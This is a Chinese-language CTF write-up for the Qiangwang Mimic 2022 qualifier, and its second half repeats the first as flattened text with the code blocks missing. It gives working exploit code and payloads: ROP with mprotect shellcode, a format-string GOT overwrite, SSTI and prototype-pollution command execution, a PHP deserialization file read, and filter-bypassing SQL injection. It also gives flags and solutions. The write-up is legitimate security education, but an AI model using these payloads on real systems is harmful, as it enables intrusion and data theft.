强网拟态预选赛2022WriteUp
字数 1253 2025-08-06 18:07:51

强网拟态预选赛2022 WriteUp 技术解析

0x01 Reverse 逆向工程

comeongo 题目解析

  1. 加密流程分析

    • 数据首先经过Base58编码
    • 然后经过Base64编码
    • 最后需要爆破部分数据
  2. 关键解密代码

k2 = b"gG00"
c = [0xDD, 0x8F, 0xA1, 0x64]
k = [0x76,0x47,0x67,0x47]

for i in range(32,127-62):
    for j in range(32,127-30):
        v1 = i+63
        v2 = j+31
        c1 = 2+ v1 +i
        c2 = 3+ v2 +j
        if(c1&0xff == c[2] and c2&0xff == c[3]):
            print(chr(i),chr(j),chr(i+63),chr(j+31))
  1. 最终flag
    flag{GoM0bi13_BingGo@G3tItEzForRevG0!}

0x02 PWN 二进制漏洞利用

bfbf 题目解析

  1. 漏洞利用点

    • 数组下标溢出漏洞
    • 单字节leak和修改能力
    • 沙箱限制read的fd只能为0和1
  2. 利用难点

    • system无法获取shell
    • ORW尝试失败(close(1)后无法正确读取flag)
  3. 解决方案

    • 使用mprotect设置ELF上的RWX权限
    • 使用普通open进行ORW
  4. 关键利用代码

# 泄露地址
payload = '>' * (0x218) + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '>' + '.'
payload += '<' * 5

# 设置mprotect
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pop_rsi_ret)
payload += p64(0x1000)
payload += p64(pop_rdx_ret)
payload += p64(7)
payload += p64(mprotect_addr)

# 执行shellcode
payload += asm(shellcraft.open("/flag\x00"))
payload += asm(shellcraft.read(1,bss_addr + 0x500,0x50))
payload += asm(shellcraft.write(2,bss_addr + 0x500,0x50))

0x03 mimc 题目系列

pwn1 格式化字符串漏洞

  1. 漏洞利用

    • 格式化字符串漏洞修改printf的GOT表
    • 将printf@got改为system@plt
  2. 关键利用代码

# 分字节写入system地址
payload = "%" + str(addr6) + "c%18$hhn"
payload += "%" +str(addr5 - addr6) + "c%19$hhn"
payload += "%" +str(addr4 - addr5) + "c%20$hhn"
payload += "%" +str(addr3 - addr4) + "c%21$hhn"
payload += "%" +str(addr2 - addr3) + "c%22$hhn"
payload += "%" +str(addr1 - addr2) + "c%23$hhn"

payload = payload.ljust(0x50, 'a')
payload += p64(printf_got + 5).decode('unicode_escape') 
payload += p64(printf_got + 4).decode('unicode_escape') 
payload += p64(printf_got + 3).decode('unicode_escape') 
payload += p64(printf_got + 2).decode('unicode_escape') 
payload += p64(printf_got + 1).decode('unicode_escape') 
payload += p64(printf_got).decode('unicode_escape')

web-mimc NTLM解密

  1. 解密流程

    • 使用NTLM hash进行DES解密
    • 解密得到关键信息:
      • 第一个URL获取随机数:/mimic_storage
      • 第二个URL获取flag:/getflag?sec=random&path=xxxx
  2. 解密代码

def des_Decrypt(key,data):
    from Crypto.Cipher import DES
    des = DES.new(key, DES.MODE_ECB)
    return des.decrypt(data)

c = bytes.fromhex("c81f6e7cfb6968ba5b8d1f1b6cc76bbe9f8105375c227952723fd98478af78cf...")
k = bytes.fromhex("3dbde697d71690a769204beb12283678")
print(des_Decrypt(k,c))

0x04 Web 网络攻防

EZpy SSTI漏洞

  1. 漏洞利用

    • 存在模板注入漏洞
    • 使用Unicode绕过过滤(全角/半角转换)
  2. Payload构造

# 使用Unicode字符绕过过滤
{{().__ᶜᶜᶜˡˡᵃᵃᵃˢˢˢˢ__.__ᵇᵇᵇᵃᵃᵃˢˢᵉᵉᵉˢˢ__[0].__ˢˢᵘᵘᵘᵇᵇᵇᶜᶜᶜˡˡᵃᵃᵃˢˢˢˢᵉᵉᵉˢˢ__()}}

# 读取flag
{{''.__ccllassss__.__bbassess__[0].__ssuubbccllassssess__()[132].__init__.__ggllobballss__['ppoppen']('ccat /ffllagg').rreadd()}}

ezus PHP反序列化漏洞

  1. 漏洞利用

    • 反序列化字符串逃逸
    • 修改对象属性执行任意文件读取
  2. 关键Payload

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@
&password=123123123123";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:57:"v1nd11://prankhub/../../../../../../../f1111444449999.txt";}

WHOYOUARE 原型链污染

  1. 漏洞利用

    • 通过原型链污染修改命令执行参数
    • 绕过命令长度和字符限制
  2. Payload构造

{"user":"{\"constructor\":{\"prototype\":{\"1\":\"cat /f*\"}}}"}
{"user":"{\"command\":[\"-c\"]}"}

popsql SQL注入

  1. 过滤绕过

    • 使用benchmark延时注入绕过过滤
    • 关键过滤字符:regexp, between, like, =, <>, ", union, ^, and, |, ascii, mid, left, in, update, extractvalue, substr, &, ;, sleep
  2. 注入Payload

'or/**/if(strcmp(right((select/**/f1aG123/**/from/**/Fl49ish3re),1),'}'),2,benchmark(5e6,sha1(123)))#

0x05 Misc 杂项

Black sheep wall 工控系统分析

  1. 解题步骤

    • 使用WinCC软件打开工程文件
    • 修改计算机名为自己的计算机名
    • 在图形编辑器中找到迷宫线索
    • 根据提示走迷宫:22-13-4-1-2-1-4
    • 使用Twin-Hex Cypher解码
  2. 关键线索

    • 迷宫路径:22-13-4
    • 解码关键字:double (双hex编码)
    • 最终编码数据:58s4vb6sj51z4zd1n81cd4tt1ci10l4wj1hp50i1lx10l1v519w4wm58l1sn4yl

以上为强网拟态预选赛2022各题目的详细技术解析和解题思路,涵盖了逆向工程、二进制漏洞利用、Web漏洞利用和杂项等多个领域的技术要点。

强网拟态预选赛2022 WriteUp 技术解析 0x01 Reverse 逆向工程 comeongo 题目解析 加密流程分析 : 数据首先经过Base58编码 然后经过Base64编码 最后需要爆破部分数据 关键解密代码 : 最终flag : flag{GoM0bi13_BingGo@G3tItEzForRevG0!} 0x02 PWN 二进制漏洞利用 bfbf 题目解析 漏洞利用点 : 数组下标溢出漏洞 单字节leak和修改能力 沙箱限制read的fd只能为0和1 利用难点 : system无法获取shell ORW尝试失败(close(1)后无法正确读取flag) 解决方案 : 使用mprotect设置ELF上的RWX权限 使用普通open进行ORW 关键利用代码 : 0x03 mimc 题目系列 pwn1 格式化字符串漏洞 漏洞利用 : 格式化字符串漏洞修改printf的GOT表 将printf@got改为system@plt 关键利用代码 : web-mimc NTLM解密 解密流程 : 使用NTLM hash进行DES解密 解密得到关键信息: 第一个URL获取随机数: /mimic_storage 第二个URL获取flag: /getflag?sec=random&path=xxxx 解密代码 : 0x04 Web 网络攻防 EZpy SSTI漏洞 漏洞利用 : 存在模板注入漏洞 使用Unicode绕过过滤(全角/半角转换) Payload构造 : ezus PHP反序列化漏洞 漏洞利用 : 反序列化字符串逃逸 修改对象属性执行任意文件读取 关键Payload : WHOYOUARE 原型链污染 漏洞利用 : 通过原型链污染修改命令执行参数 绕过命令长度和字符限制 Payload构造 : popsql SQL注入 过滤绕过 : 使用benchmark延时注入绕过过滤 关键过滤字符:regexp, between, like, =, <>, ", union, ^, and, |, ascii, mid, left, in, update, extractvalue, substr, &, ;, sleep 注入Payload : 0x05 Misc 杂项 Black sheep wall 工控系统分析 解题步骤 : 使用WinCC软件打开工程文件 修改计算机名为自己的计算机名 在图形编辑器中找到迷宫线索 根据提示走迷宫:22-13-4-1-2-1-4 使用Twin-Hex Cypher解码 关键线索 : 迷宫路径:22-13-4 解码关键字:double (双hex编码) 最终编码数据: 58s4vb6sj51z4zd1n81cd4tt1ci10l4wj1hp50i1lx10l1v519w4wm58l1sn4yl 以上为强网拟态预选赛2022各题目的详细技术解析和解题思路,涵盖了逆向工程、二进制漏洞利用、Web漏洞利用和杂项等多个领域的技术要点。